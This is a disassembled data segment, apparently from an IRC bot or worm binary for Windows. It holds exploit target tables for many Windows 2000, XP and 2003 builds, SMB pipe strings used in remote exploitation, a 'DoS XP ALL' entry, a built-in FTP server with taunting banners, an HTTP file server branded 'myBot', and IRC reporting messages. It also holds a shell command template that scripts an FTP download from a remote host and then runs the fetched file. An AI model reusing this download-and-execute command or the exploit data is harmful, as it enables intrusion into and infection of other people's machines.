aWindowsNlSp16	db 'Windows nl sp1 6',0
		align 10h
aWindowsNlSp17	db 'Windows nl sp1 7',0
		align 4
aWindowsNlSp18	db 'Windows nl sp1 8',0
		align 4
aWindowsNlSp19	db 'Windows nl sp1 9',0
		align 4
aWindowsNlSp110	db 'Windows nl sp1 10',0
		align 10h
aWindowsNlSp111	db 'Windows nl sp1 11',0
		align 4
aWindowsNlSp112	db 'Windows nl sp1 12',0
		align 4
aWindowsNlSp113	db 'Windows nl sp1 13',0
		align 4
aWindowsNlSp114	db 'Windows nl sp1 14',0
		align 10h
aWindowsNlSp115	db 'Windows nl sp1 15',0
		align 4
aWindowsNlSp116	db 'Windows nl sp1 16',0
		align 4
aWindowsNlSp117	db 'Windows nl sp1 17',0
		align 4
aWindowsNlSp118	db 'Windows nl sp1 18',0
		align 10h
aWindowsNlSp119	db 'Windows nl sp1 19',0
		align 4
aWindowsNlSp120	db 'Windows nl sp1 20',0
		align 4
aWindowsNlSp121	db 'Windows nl sp1 21',0
		align 4
aWindowsNlSp122	db 'Windows nl sp1 22',0
		align 10h
aWindowsNlSp123	db 'Windows nl sp1 23',0
		align 4
aWindows2000Sp4	db 'Windows 2000 SP4 GER FAT32',0
		align 10h
aWindowsUkXpPro	db 'Windows uk xp pro sp1 1',0 ; DATA XREF: seg002:004486A0o
aWindowsUkXpP_0	db 'Windows uk xp pro sp1 2',0
aWindowsUkXpP_1	db 'Windows uk xp pro sp1 3',0
aWindowsUkXpP_2	db 'Windows uk xp pro sp1 4',0
aWindowsUkXpP_3	db 'Windows uk xp pro sp1 5',0
aWindowsUkXpP_4	db 'Windows uk xp pro sp1 6',0
aWindowsUkXpP_5	db 'Windows uk xp pro sp1 7',0
aWindowsUkXpP_6	db 'Windows uk xp pro sp1 8',0
aWindowsUkXpP_7	db 'Windows uk xp pro sp1 9',0
aWindowsUkXpP_8	db 'Windows uk xp pro sp1 10',0
		align 4
aWindowsUkXpP_9	db 'Windows uk xp pro sp1 11',0
		align 10h
aWindowsUkXp_10	db 'Windows uk xp pro sp1 12',0
		align 4
aWindowsUkXp_11	db 'Windows uk xp pro sp1 13',0
		align 4
aWindowsUkXp_12	db 'Windows uk xp pro sp1 14',0
		align 4
aWindowsUkXp_13	db 'Windows uk xp pro sp1 15',0
		align 10h
aWindowsUkXp_14	db 'Windows uk xp pro sp1 16',0
		align 4
aWindowsUkXp_15	db 'Windows uk xp pro sp1 17',0
		align 4
aWindowsUkXp_16	db 'Windows uk xp pro sp1 18',0
		align 4
aWindowsUkXp_17	db 'Windows uk xp pro sp1 19',0
		align 10h
aWindowsUkXp_18	db 'Windows uk xp pro sp1 20',0
		align 4
aWindowsUkXp_19	db 'Windows uk xp pro sp1 21',0
		align 4
aWindowsUkXp_20	db 'Windows uk xp pro sp1 22',0
		align 4
aWindowsUkXp_21	db 'Windows uk xp pro sp1 23',0
		align 10h
aWindowsUkXp_22	db 'Windows uk xp pro sp1 24',0
		align 4
aWindowsUkXp_23	db 'Windows uk xp pro sp1 25',0
		align 4
aWindowsUk2k3Se	db 'Windows uk 2k3 se sp0 1',0
aWindowsUk2k3_0	db 'Windows uk 2k3 se sp0 2',0
aWindowsUk2k3_1	db 'Windows uk 2k3 se sp0 3',0
aWindowsUk2k3_2	db 'Windows uk 2k3 se sp0 4',0
aWindowsUk2k3_3	db 'Windows uk 2k3 se sp0 5',0
aWindowsUk2k3_4	db 'Windows uk 2k3 se sp0 6',0
aWindowsUk2k3_5	db 'Windows uk 2k3 se sp0 7',0
aWindowsUk2k3_6	db 'Windows uk 2k3 se sp0 8',0
aWindowsUk2k3_7	db 'Windows uk 2k3 se sp0 9',0
aWindowsUk2k3_8	db 'Windows uk 2k3 se sp0 10',0
		align 4
aWindowsUk2k3_9	db 'Windows uk 2k3 se sp0 11',0
		align 4
aWindowsUk2k_10	db 'Windows uk 2k3 se sp0 12',0
		align 4
aWindowsUk2k_11	db 'Windows uk 2k3 se sp0 13',0
		align 10h
aWindowsUk2k_12	db 'Windows uk 2k3 se sp0 14',0
		align 4
aWindowsUk2k_13	db 'Windows uk 2k3 se sp0 15',0
		align 4
aWindowsUk2k_14	db 'Windows uk 2k3 se sp0 16',0
		align 4
aWindowsUk2k_15	db 'Windows uk 2k3 se sp0 17',0
		align 10h
aWindowsUk2k_16	db 'Windows uk 2k3 se sp0 18',0
		align 4
aWindowsUk2k_17	db 'Windows uk 2k3 se sp0 19',0
		align 4
aWindowsUk2k_18	db 'Windows uk 2k3 se sp0 20',0
		align 4
aWindowsUk2k_19	db 'Windows uk 2k3 se sp0 21',0
		align 10h
aWindowsUk2k_20	db 'Windows uk 2k3 se sp0 22',0
		align 4
aWindowsUk2k_21	db 'Windows uk 2k3 se sp0 23',0
		align 4
aWindowsUk2k_22	db 'Windows uk 2k3 se sp0 24',0
		align 4
aWindowsUk2k3Ee	db 'Windows uk 2k3 ee sp0 1',0
aWindowsUk2k_23	db 'Windows uk 2k3 ee sp0 2',0
aWindowsUk2k_24	db 'Windows uk 2k3 ee sp0 3',0
aWindowsUk2k_25	db 'Windows uk 2k3 ee sp0 4',0
aWindowsUk2k_26	db 'Windows uk 2k3 ee sp0 5',0
aWindowsUk2k_27	db 'Windows uk 2k3 ee sp0 6',0
aWindowsUk2k_28	db 'Windows uk 2k3 ee sp0 7',0
aWindowsUk2k_29	db 'Windows uk 2k3 ee sp0 8',0
aWindowsUk2k_30	db 'Windows uk 2k3 ee sp0 9',0
aWindowsUk2k_31	db 'Windows uk 2k3 ee sp0 10',0
		align 4
aWindowsUk2k_32	db 'Windows uk 2k3 ee sp0 11',0
		align 4
aWindowsUk2k_33	db 'Windows uk 2k3 ee sp0 12',0
		align 10h
aWindowsUk2k_34	db 'Windows uk 2k3 ee sp0 13',0
		align 4
aWindowsUk2k_35	db 'Windows uk 2k3 ee sp0 14',0
		align 4
aWindowsUk2k_36	db 'Windows uk 2k3 ee sp0 15',0
		align 4
aWindowsUk2k_37	db 'Windows uk 2k3 ee sp0 16',0
		align 10h
aWindowsUk2k_38	db 'Windows uk 2k3 ee sp0 17',0
		align 4
aWindowsUk2k_39	db 'Windows uk 2k3 ee sp0 18',0
		align 4
aWindowsUk2k_40	db 'Windows uk 2k3 ee sp0 19',0
		align 4
aWindowsUk2k_41	db 'Windows uk 2k3 ee sp0 20',0
		align 10h
aWindowsUk2k_42	db 'Windows uk 2k3 ee sp0 21',0
		align 4
aWindowsUk2k_43	db 'Windows uk 2k3 ee sp0 22',0
		align 4
aWindowsUk2k_44	db 'Windows uk 2k3 ee sp0 23',0
		align 4
aWindowsUk2k_45	db 'Windows uk 2k3 ee sp0 24',0
		align 10h
aDosXpAll	db 'DoS XP ALL',0
		align 4
aWin2kSp4FromPh	db 'Win2K SP4 From PhaTTy 1',0
aWin2kSp1FromPh	db 'Win2K SP1 From PhaTTy 1',0
aWin2kSp4From_0	db 'Win2K SP4 From PhaTTy 2',0
aWin2kSp4From_1	db 'Win2K SP4 From PhaTTy 3',0
aWin2kSp3FromPh	db 'Win2K SP3 From PhaTTy 1',0
aWin2kSp2FromPh	db 'Win2K SP2 From PhaTTy 1',0
aWin2kSp1From_0	db 'Win2K SP1 From PhaTTy 2',0
aWin2kSp0FromPh	db 'Win2K SP0 From PhaTTy 1',0
aS_32		db '\\%s',0             ; DATA XREF: sub_40F19D+128o
		align 4
a__4:					; DATA XREF: sub_40F19D+159o
		unicode	0, <.>,0
aSIpc_0		db '\\%s\ipc$',0        ; DATA XREF: sub_40F19D+16Fo
		align 4
aSPipeWkssvc	db '\\%s\pipe\wkssvc',0 ; DATA XREF: sub_40F19D+1BCo
		align 4
dword_449668	dd 6BFFD098h, 3610A112h, 0C3463398h, 5A347EF8h,	0
					; DATA XREF: sub_40F19D+21Bo
dword_44967C	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0dword_449690	dd 2E646D63h, 657865hunk_449698	db    2			; DATA XREF: seg000:0040FA2Eo
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  43h	; C
		db 2, 6Fh, 6Eh
		db    2
		db 6Eh,	2, 65h
		db  63h	; c
		db 74h,	2, 42h
		db    2
		db 61h,	63h, 6Bh
		db    3
		db 30h,	32h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a2ErrorSocketFa	db '2 Error: socket() failed, returned: <%d>.',0
		align 4
unk_4496EC	db    2			; DATA XREF: seg000:0040FAC1o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  43h	; C
		db 2, 6Fh, 6Eh
		db    2
		db 6Eh,	2, 65h
		db  63h	; c
		db 74h,	2, 42h
		db    2
		db 61h,	63h, 6Bh
		db    3
		db 30h,	32h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a2ErrorBindFail	db '2 Error: bind() failed, returned: <%d>.',0
		align 10h
unk_449740	db    2			; DATA XREF: seg000:0040FB4Co
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  43h	; C
		db 2, 6Fh, 6Eh
		db    2
		db 6Eh,	2, 65h
		db  63h	; c
		db 74h,	2, 42h
		db    2
		db 61h,	63h, 6Bh
		db    3
		db 30h,	32h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a2ErrorBindFa_0	db '2 Error: bind() failed, returned: <%d>.',0
		align 4
unk_449794	db    2			; DATA XREF: seg000:0040FBF2o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  43h	; C
		db 2, 6Fh, 6Eh
		db    2
		db 6Eh,	2, 65h
		db  63h	; c
		db 74h,	2, 42h
		db    2
		db 61h,	63h, 6Bh
		db    3
		db 30h,	32h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a2ClientConnect	db '2 Client connection from IP: %s:%d.',0
		align 4
aEchoOpenSDOE_1	db 'echo open %s %d >> o&echo user 1 >>o &echo 1 >>o &echo get %s >>o'
					; DATA XREF: seg000:0040FC69o
		db ' &echo bye >>o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: seg000:0040FE96o
		align 4
aSS_1		db '%s %s',0            ; DATA XREF: seg000:0040FF1Eo
		align 4
aUser_1		db 'USER',0             ; DATA XREF: seg000:0040FF2Fo
		align 4
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: seg000:0040FF44o
		align 4
aPass		db 'PASS',0             ; DATA XREF: seg000:0040FF54o
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: seg000:0040FF68o
		align 4
aSyst		db 'SYST',0             ; DATA XREF: seg000:0040FF78o
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0 ; DATA XREF: seg000:0040FF8Co
		align 4
aRest		db 'REST',0             ; DATA XREF: seg000:0040FF9Co
		align 4
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: seg000:0040FFB0o
		align 4
off_4498E8	dd offset dword_445750	; DATA XREF: seg000:0040FFC0o
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: seg000:0040FFD4o
		align 4
aType		db 'TYPE',0             ; DATA XREF: seg000:0040FFE4o
		align 4
aA_0:					; DATA XREF: seg000:0040FFFBo
		unicode	0, <A>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: seg000:0041000Fo
aType_0		db 'TYPE',0             ; DATA XREF: seg000:0041001Fo
		align 4
aI:					; DATA XREF: seg000:00410036o
		unicode	0, <I>,0
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: seg000:0041004Ao
aPasv		db 'PASV',0             ; DATA XREF: seg000:0041005Ao
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: seg000:0041006Do
		align 10h
aList_0		db 'LIST',0             ; DATA XREF: seg000:004100A8o
		align 4
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: seg000:004100BBo
		align 10h
aPort		db 'PORT',0             ; DATA XREF: seg000:004100E9o
		align 4
aS_19		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: seg000:00410122o
		db ']',0
aXX		db '%x%x',0Ah,0         ; DATA XREF: seg000:00410163o
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: seg000:00410196o
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: seg000:004101A7o
		align 4
aRetr		db 'RETR',0             ; DATA XREF: seg000:004101BCo
		align 4
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: seg000:004101D4o
		align 4
dword_449A38	dd 35310302h, 25B302Ch,	91343003h, 1F323003h, 1F024602h
					; DATA XREF: seg000:004101FDo
		dd 2700254h, 2C343003h,	3A353103h, 2203403h, 61740253h
		dd 74027202h, 26E0269h,	54022067h, 61027202h, 2736E02h
		dd 72650266h, 6F025420h, 20320302h, 7325h
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: seg000:00410247o
dword_449A9C	dd 35310302h, 25B302Ch,	91313003h, 1F343003h, 1F024602h
					; DATA XREF: seg000:00410259o
		dd 2700254h, 2C313003h,	3A353103h, 4F320320h, 3430031Fh
		dd 1F1F1F2Eh, 77323003h, 3430031Fh, 3430032Eh, 24E021Fh
		dd 3430031Fh, 3230032Eh, 1F1F651Fh, 1F343003h, 30031F2Eh
		dd 34034432h, 732520h
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: seg000:004102AAo
		align 4
aQuit_1		db 'QUIT',0             ; DATA XREF: seg000:004102B7o
		align 10h
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: seg000:004102CBo
aRb		db 'rb',0               ; DATA XREF: sub_41037E+24o
		align 10h
aGet		db 'GET ',0             ; DATA XREF: sub_410418+26Fo
		align 4
asc_449B48:				; DATA XREF: sub_410418+292o
		unicode	0, < >,0
asc_449B4C:				; DATA XREF: sub_410418+297o
		unicode	0, < >,0
aGet_0		db 'GET ',0             ; DATA XREF: sub_410418+2A2o
		align 4
asc_449B58	db 0Dh,0Ah,0		; DATA XREF: sub_410418+2D5o
		align 4
unk_449B5C	db    2			; DATA XREF: sub_410418+3FEo
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  48h	; H
		db 2, 2	dup(74h)
		db    2
		db 70h,	2, 64h
		db    3
		db 30h,	32h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a2ServerFailedR	db '2 server failed, returned %d',0
		align 4
aTextHtml	db 'text/html',0        ; DATA XREF: sub_410879+5Eo
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_410879:loc_4108DEo
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_410879+83o
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_410879+97o
		align 4
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_410879+D3o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_410879+F6o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aS_20		db '\%s',0              ; DATA XREF: seg000:00410A2Ao
aS_21		db '%s',0               ; DATA XREF: seg000:00410A35o
		align 4
aSS_2		db '%s%s',0             ; DATA XREF: seg000:00410AE5o
		align 10h
asc_449DC0:				; DATA XREF: seg000:00410AF6o
		dw 0Ah
		unicode	0, <>,0
asc_449DC4:				; DATA XREF: seg000:00410B52o
		unicode	0, <*>,0
unk_449DC8	db    2			; DATA XREF: seg000:00410C06o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  48h	; H
		db 2, 2	dup(74h)
		db    2
		db 70h,	2, 64h
		db    3
		db 30h,	32h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a2WorkerThreadO	db '2 worker thread of server thread: %d.',0
		align 10h
unk_449E10	db    2			; DATA XREF: seg000:00410C8Ao
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  48h	; H
		db 2, 2	dup(74h)
		db    2
		db 70h,	2, 64h
		db    3
		db 30h,	32h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a2FailedToStart	db '2 failed to start worker thread, error %d',0
		align 4
asc_449E5C:				; DATA XREF: seg000:00410CD4o
		dw 0Ah
		unicode	0, <>,0
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: seg000:00410CF6o
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: seg000:00410D23o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 10h
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: seg000:00410D58o
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: seg000:00410DA2o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: seg000:00410DD6o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: seg000:00410DF2o
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: seg000:00410E6Bo
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
a__		db '..',0               ; DATA XREF: seg000:00410EDDo
		align 10h
a__0:					; DATA XREF: seg000:00410EF8o
		unicode	0, <.>,0
aPm_0		db 'PM',0               ; DATA XREF: seg000:00410F30o
		align 4
aAm		db 'AM',0               ; DATA XREF: seg000:00410F3Bo
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: seg000:00410F65o
aS_22		db '<%s>',0             ; DATA XREF: seg000:00410F8Fo
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: seg000:00410FB9o
		align 10h
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: seg000:00410FDBo
		db '<TD WIDTH="%d"><A HREF="',0
		align 10h
aSS_3		db '%s%s/',0            ; DATA XREF: seg000:0041101Fo
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: seg000:00411066o
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: seg000:loc_41106Do
		align 10h
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: seg000:004110ACo
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aS_23		db '<%s>',0             ; DATA XREF: seg000:004110BEo
		align 10h
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: seg000:004110DFo
		align 10h
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: seg000:0041111Co
		align 4
aTrTdWidthDAH_0	db '<TR>',0Dh,0Ah       ; DATA XREF: seg000:00411131o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aSS_4		db '%s%s',0             ; DATA XREF: seg000:00411175o
		align 10h
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: seg000:004111BCo
		align 10h
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: seg000:loc_4111C3o
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: seg000:0041120Co
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: seg000:00411234o
		align 4
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: seg000:004112C3o
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: seg000:004112DEo
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: seg000:004112F9o
		align 4
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_411418+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_44A334	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 1F640269h
					; DATA XREF: sub_411539+BBo
		dd 6E021F65h, 2647402h,	2C313003h, 3A353103h, 2203203h
		dd 696C0243h, 20746E65h, 6F024302h, 26E026Eh, 2746365h
		dd 6E6F0269h, 2460220h,	36D6F72h, 73252034h, 2E64253Ah
		dd 0
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_411539+113o
dword_44A3A0	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 1F640269h
					; DATA XREF: sub_411539+16Eo
		dd 6E021F65h, 2647402h,	2C313003h, 3A353103h, 2203203h
		dd 72650253h, 20726576h, 61024602h, 64656C69h, 5202202Ch
		dd 75746502h, 64656E72h, 25203403h, 64h
unk_44A3EC	db    2			; DATA XREF: sub_4116E4+E9o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  52h	; R
		db 2, 65h, 64h
		db    2
		db 69h,	2, 72h
		db    2
		db 65h,	2, 63h
		db  74h	; t
		db 3, 30h, 32h
		db  2Ch	; ,
		db 3, 31h, 35h
		db  3Ah	; :
		db 3, 32h, 20h
aClientConnecti	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_44A44C	db    2			; DATA XREF: sub_4116E4+15Eo
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  52h	; R
		db 2, 65h, 64h
		db    2
		db 69h,	2, 72h
		db    2
		db 65h,	2, 63h
		db  74h	; t
		db 3, 30h, 32h
		db  2Ch	; ,
		db 3, 31h, 35h
		db  3Ah	; :
		db 3, 32h, 20h
aFailedToStartC	db 'Failed to start client thread, error: <%d>.',0
unk_44A4A0	db    2			; DATA XREF: sub_411875+E1o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  52h	; R
		db 2, 65h, 64h
		db    2
		db 69h,	2, 72h
		db    2
		db 65h,	2, 63h
		db  74h	; t
		db 3, 30h, 32h
		db  2Ch	; ,
		db 3, 31h, 35h
		db  3Ah	; :
		db 3, 32h, 20h
aClientConnec_0	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
unk_44A4FC	db    2			; DATA XREF: sub_411875+1AAo
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  52h	; R
		db 2, 65h, 64h
		db    2
		db 69h,	2, 72h
		db    2
		db 65h,	2, 63h
		db  74h	; t
		db 3, 30h, 32h
		db  2Ch	; ,
		db 3, 31h, 35h
		db  3Ah	; :
		db 3, 32h, 20h
aFailedToStar_0	db 'Failed to start connection thread, error: <%d>.',0
dword_44A554	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 1F6C0252h
					; DATA XREF: seg000:00411BDAo
		dd 67021F6Fh, 26E0269h,	30030264h, 31032C31h, 32033A35h
		dd 2450220h, 726F7272h,	6567203Ah, 65657074h, 6D616E72h
		dd 3A292865h, 3C203403h, 2E3E6425h, 0
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: seg000:00411C6Bo
		align 4
dword_44A5B4	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 1F6C0252h
					; DATA XREF: seg000:00411C9Bo
		dd 67021F6Fh, 26E0269h,	30030264h, 31032C31h, 32033A35h
		dd 2550220h, 20726573h,	26F026Ch, 65026767h, 69206402h
		dd 34033A6Eh, 73253C20h, 3E732540h, 2Eh
dword_44A600	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 1F6C0252h
					; DATA XREF: seg000:00411CBBo
		dd 67021F6Fh, 26E0269h,	30030264h, 31032C31h, 32033A35h
		dd 2450220h, 726F7272h,	5302203Ah, 73736502h, 526E6F69h
		dd 29286E75h, 2034033Ah, 3E64253Ch, 2Eh
dword_44A64C	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 1F6C0252h
					; DATA XREF: seg000:00411CE2o
		dd 67021F6Fh, 26E0269h,	30030264h, 31032C31h, 32033A35h
		dd 2550220h, 20726573h,	26F026Ch, 65026767h, 6F206402h
		dd 74027502h, 2034033Ah, 4073253Ch, 2E3E7325h, 0
dword_44A69C	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 1F6C0252h
					; DATA XREF: seg000:loc_411D43o
		dd 67021F6Fh, 26E0269h,	30030264h, 31032C31h, 32033A35h
		dd 2500220h, 6F746F72h,	206C6F63h, 74025302h, 676E6972h
		dd 6F025420h, 6C206F02h, 6E026F02h, 2E67h
dword_44A6E8	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 1F6C0252h
					; DATA XREF: sub_411D58+1Bo
		dd 67021F6Fh, 26E0269h,	30030264h, 31032C31h, 32033A35h
		dd 6F024C20h, 6E696702h, 2657220h, 6365026Ah, 65027402h
		dd 2202C64h, 6D650252h,	2065746Fh, 73025502h, 33A7265h
		dd 253C2034h, 73254073h, 2E3Eh,	35310302h, 25B302Ch, 91313003h
		dd 2343003h, 1F6C0252h,	67021F6Fh, 26E0269h, 30030264h
		dd 31032C31h, 32033A35h, 6F024C20h, 6E696702h, 2657220h
		dd 6365026Ah, 65027402h, 2202C64h, 6D650252h, 2065746Fh
		dd 73025502h, 33A7265h,	253C2034h, 73254073h, 2E3Eh, 35310302h
		dd 25B302Ch, 91313003h,	2343003h, 1F6C0252h, 67021F6Fh
		dd 26E0269h, 30030264h,	31032C31h, 32033A35h, 2450220h
		dd 726F7272h, 5702203Ah, 53415302h, 74726174h, 29287075h
		dd 2034033Ah, 3E64253Ch, 2Eh, 35310302h, 25B302Ch, 91313003h
		dd 2343003h, 1F6C0252h,	67021F6Fh, 26E0269h, 30030264h
		dd 31032C31h, 32033A35h, 2460220h, 656C6961h, 2542064h
		dd 6920026Fh, 73026E02h, 2610274h, 2206C6Ch, 6E6F0243h
		dd 6C6F7274h, 243022Dh,	2480220h, 6C646E61h, 202C7265h
		dd 72024502h, 6F027202h, 34033A72h, 64253C20h, 2E3Eh, 35310302h
		dd 25B302Ch, 91313003h,	2343003h, 1F6C0252h, 67021F6Fh
		dd 26E0269h, 30030264h,	31032C31h, 32033A35h, 2520220h
		dd 79646165h, 2410220h,	220646Eh, 69610257h, 676E6974h
